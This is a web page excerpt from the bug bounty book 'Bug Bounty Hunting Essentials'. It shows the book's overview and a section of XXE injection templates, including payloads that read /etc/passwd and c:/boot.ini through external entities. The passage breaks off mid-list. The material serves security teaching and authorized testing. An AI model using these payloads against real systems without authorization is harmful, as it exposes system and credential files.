Book Image

Bug Bounty Hunting Essentials

By : Carlos A. Lozano, Shahmeer Amir
Book Image

Bug Bounty Hunting Essentials

By: Carlos A. Lozano, Shahmeer Amir

Overview of this book

Bug bounty programs are the deals offered by prominent companies where-in any white-hat hacker can find bugs in the applications and they will have a recognition for the same. The number of prominent organizations having this program has increased gradually leading to a lot of opportunity for Ethical Hackers. This book will initially start with introducing you to the concept of Bug Bounty hunting. Then we will dig deeper into concepts of vulnerabilities and analysis such as HTML injection, CRLF injection and so on. Towards the end of the book, we will get hands-on experience working with different tools used for bug hunting and various blogs and communities to be followed. This book will get you started with bug bounty hunting and its fundamentals.
Table of Contents (20 chapters)
Title Page
Copyright and Credits
About Packt
Contributors
Preface
Index

Templates


The following are common templates that you can use to exploit XXE vulnerabilities and easily show the impact of the vulnerability:

  • The following is a basic test:
<!--?xml version="1.0" ?--> 
<!DOCTYPE replace [<!ENTITY example "Doe"> ]> 
 <userInfo> 
  <firstName>Juan</firstName> 
  <lastName>&example;</lastName> 
 </userInfo> 
  • The following is a classic XXE:
<?xml version="1.0"?> 
<!DOCTYPE data [ 
<!ELEMENT data (#ANY)> 
<!ENTITY file SYSTEM "file:///etc/passwd"> 
]> 
<data>&file;</data> 
<?xml version="1.0" encoding="ISO-8859-1"?> 
  <!DOCTYPE foo [   
  <!ELEMENT foo ANY > 
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> 
<?xml version="1.0" encoding="ISO-8859-1"?> 
<!DOCTYPE foo [   
  <!ELEMENT foo ANY > 
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> 
  • This is classic XXE...